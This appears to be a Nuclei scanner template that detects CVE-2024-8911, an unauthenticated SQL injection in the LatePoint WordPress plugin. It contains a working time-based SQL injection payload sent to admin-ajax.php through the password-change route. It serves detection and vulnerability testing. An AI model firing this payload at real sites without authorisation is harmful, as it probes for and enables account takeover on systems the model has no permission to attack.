id: CVE-2024-8911

info:
  name: LatePoint <= 5.0.11 - SQL Injection
  author: daffainfo
  severity: critical
  description: |
    The LatePoint plugin for WordPress is vulnerable to Arbitrary User Password Change via SQL Injection in versions up to, and including, 5.0.11. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to change user passwords and potentially take over administrator accounts. Note that changing a WordPress user's password is only possible if the "Use WordPress users as customers" setting is enabled, which is disabled by default. Without this setting enabled, only the passwords of plugin customers, which are stored and managed in a separate database table, can be modified.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/5c9a23a3-5eb5-4f5b-bf32-c9d163426f29?source=cve
    - https://www.wordfence.com/blog/2024/10/7000-wordpress-sites-affected-by-unauthenticated-critical-vulnerabilities-in-latepoint-wordpress-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8911
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-8911
    epss-score: 0.30924
    epss-percentile: 0.96811
    cwe-id: CWE-89
    cpe: cpe:2.3:a:latepoint:latepoint:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: latepoint
    product: latepoint
    framework: wordpress
  tags: cve,cve2024,wordpress,wp,wp-plugin,wp,vkev,intrusive,latepoint,sqli

flow: http(1) && http(2)

variables:
  password: "{{rand_base(8)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "/wp-content/plugins/latepoint")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=latepoint_route_call&route_name=customer_cabinet__change_password&params=password_reset_token%5bOR%5d%5b%20IS%20NULL%20or%20not%20(select%20sleep(8)))%20limit%201%3b--%20-%5d%3d{{randstr}}%26password%3d{{randstr}}&return_format=json

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 200'
          - 'contains(body, "\"status\":\"error\"")'
          - 'contains(content_type, "application/json")'
        condition: and
# digest: 4b0a00483046022100c2ba2e7eaa903acd592306a00781fe351164a1b1bfc9cb8e3ab0861d0136efda02210087c61c2e85e2e5484d4911f3ab0c849a6a9d735fed32539bb4b013d8c017f72d:922c64590222798bb761d5b6d8e72950